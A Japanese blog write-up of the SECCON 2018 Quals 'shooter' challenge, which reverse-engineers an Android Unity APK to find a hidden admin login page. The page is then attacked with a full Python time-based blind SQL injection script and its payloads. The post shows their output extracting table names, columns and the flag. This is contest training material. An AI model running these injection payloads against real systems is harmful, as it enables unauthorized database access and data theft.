こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

SECCON 2018 Quals - shooter

問題文

shooter
Enjoy the game!

添付ファイル:shooter.apk_d0d2ed9e7ba3c83354cbbf7ccf82541730b14a72

writeup

Stage1

apktoolでapkファイルを展開する。

Apktool - How to Install

> apktool.bat decode --no-src shooter.apk
I: Using Apktool 2.2.2 on shooter.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: C:\Users\XXXX\AppData\Local\apktool\framework\1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Copying raw classes.dex file...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

展開した中身を見るとUnityを使っていることがわかる。

GitHub - nevermoe/unity_metadata_loader

こちらのツールを使用して、metadataの中身を覗く。
metadataファイルは以下ディレクトリに存在している。
assets\bin\Data\Managed\Metadata\global-metadata.dat

unity_decoder.exeをassets\bin\Data\Managed\Metadata\配下にコピーして実行すると、method_name.txtstring_literal.txtのファイルが生成された。

string_literal.txtの最後らへんに、URL文字列を発見。

(snip)
shooter.pwn.seccon.jp
staging.shooter.pwn.seccon.jp
develop.shooter.pwn.seccon.jp
/admin
(snip)

http://staging.shooter.pwn.seccon.jp/adminにアクセスする。

f:id:graneed:20181028164141p:plain

ログイン画面が表示された。

なお、http://shooter.pwn.seccon.jp/adminhttp://develop.shooter.pwn.seccon.jp/adminにアクセスしても403である。

Stage2

「とりあえず生ビール」と注文するかの如く、ログイン画面のLogin IDとPasswordに「とりあえず記号を入力」してみる。なお、SECCON Beginners NEXTでも、入力フィールドを見たら記号を入れることは当然の仕草・お作法であるようなことを講師の方が言っていたので、常識的な行動のようだ。

f:id:graneed:20181028164733p:plain

エラー発生。SQLインジェクションの疑いあり。

切り分けすると、Passwordに'(シングルクォーテーション)を入力するとエラーになることがわかる。

そこで、サーバ内でSQLの構文が成立するように、Passwordに' or 'A'='Aを入力すると、エラーにならず302リダイレクトが返却された。しかし、ログインはできない。また、where句の条件がTrueまたはFalseになるようなSQLの断片を入力しレスポンスを観察するが、違いは見られない。

よって、「Time-Based Blind SQL Injection」を使って、DBの中身を窃取することにする。

Login IDにadmin、Passwordに' or if(1=1, sleep(3), false) or 'を入力すると、3秒待ってからレスポンスがあった。いけそうだ。

通常のBlind SQL Injectionと同じように、取得したいテーブル名、カラム名またはレコードを1文字ずつ特定する条件式を作成し、条件が成立する場合に3秒sleepさせ、レスポンスタイムを観察することで条件が成立したかどうか判定すればよい。

  1. information_schema.tableを使用して、DB内のテーブル名を確認する。
  2. information_schema.columnsを使用して、1で特定したテーブル名が持つカラムを確認する。
  3. 1と2で特定したテーブル名、カラム名を使用して、レコードの値を取得する。

1と2と3を実行するスクリプトは以下の通り。
コメントアウトを付け替えれば、それぞれ実行できる。
Cookieauthenticity_tokenは、ログイン画面のレスポンスから採取してセットした。

import requests
import string
import time

URL = 'http://staging.shooter.pwn.seccon.jp/admin/sessions'
LETTERS = string.ascii_letters + string.digits + "!#$&()*+,-./:;<=>?@[\]^_`{|}~"

def pretty_print_POST(req):
    print('{}\n{}\n{}\n\n{}'.format(
        req.method + ' ' + req.url,
        '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
        req.body,
    ))

target = ""

while True:
    flag = False
    for e in LETTERS:
        tmp = target + e
        req = requests.Request(
            'POST',
            URL,
            data={
                #"utf8" :"\xE2\x9C\x93",
                "authenticity_token": "CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==",
                "login_id" : "admin",
                "commit" : "Login",
                # 0.実験用
                #"password" : "' or if(1=1, sleep(3), false) or '"
                # 1.テーブル名を取得
                "password" : "' or if(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,{})='{}', sleep(3), false) or 'a'='".format(len(tmp),tmp)
                # 2.列名を取得
                #"password" : "' or if(SUBSTRING((select column_name from information_schema.columns where table_name='flags' limit 1,1),1,{})='{}', sleep(3), false) or 'a'='".format(len(tmp),tmp)
                # 3.レコードを取得
                #"password" : "' or if(ASCII(SUBSTRING((select value from flags limit 0,1),{},1)) = {}, sleep(3), false) or 'a'='".format(len(tmp),ord(e))
                },
            headers={
                "Content-Type" : "application/x-www-form-urlencoded",
                "Cookie" : "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D"
                },
            )
        prepared = req.prepare()
        #pretty_print_POST(prepared)
        s = requests.Session()

        start = time.time()
        r = s.send(prepared, allow_redirects = False)
        elapsed_time = time.time() - start

        if elapsed_time > 3:
            target = tmp
            print(target)
            flag = True
            break
        #print(r.headers)
        #print(r.text)
        #print(elapsed_time)

    if flag: continue
    exit()

1を有効にした場合の実行結果は以下の通り。

f
fl
fla
flag
flags

flagsテーブルがあることがわかる。
なお、limit句を0,1にするとar_internal_metadataテーブルをとってきた。

2を有効にした場合の実行結果は以下の通り。

v
va
val
valu
value

flagsテーブルにはvalueカラムがあることがわかる。
なお、limit句を0,1にするとidカラムをとってきた。

3を有効にした場合の実行結果は以下の通り。
MySQLは、通常、where句の等式で大文字小文字が区別できないため、ASCII関数を使用した。

S
SE
SEC
SECC
SECCO
SECCON
SECCON{
SECCON{1
SECCON{1N
SECCON{1NV
SECCON{1NV4
SECCON{1NV4L
SECCON{1NV4L1
SECCON{1NV4L1D
SECCON{1NV4L1D_
SECCON{1NV4L1D_4
SECCON{1NV4L1D_4D
SECCON{1NV4L1D_4DM
SECCON{1NV4L1D_4DM1
SECCON{1NV4L1D_4DM1N
SECCON{1NV4L1D_4DM1N_
SECCON{1NV4L1D_4DM1N_P
SECCON{1NV4L1D_4DM1N_P4
SECCON{1NV4L1D_4DM1N_P4G
SECCON{1NV4L1D_4DM1N_P4G3
SECCON{1NV4L1D_4DM1N_P4G3_
SECCON{1NV4L1D_4DM1N_P4G3_4
SECCON{1NV4L1D_4DM1N_P4G3_4U
SECCON{1NV4L1D_4DM1N_P4G3_4U+
SECCON{1NV4L1D_4DM1N_P4G3_4U+H
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3N
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T1
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}

スクリプトを実行して、じわじわとフラグ文字列が得られていく光景を観察するのは、格別な時間ですね。

フラグゲット。
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}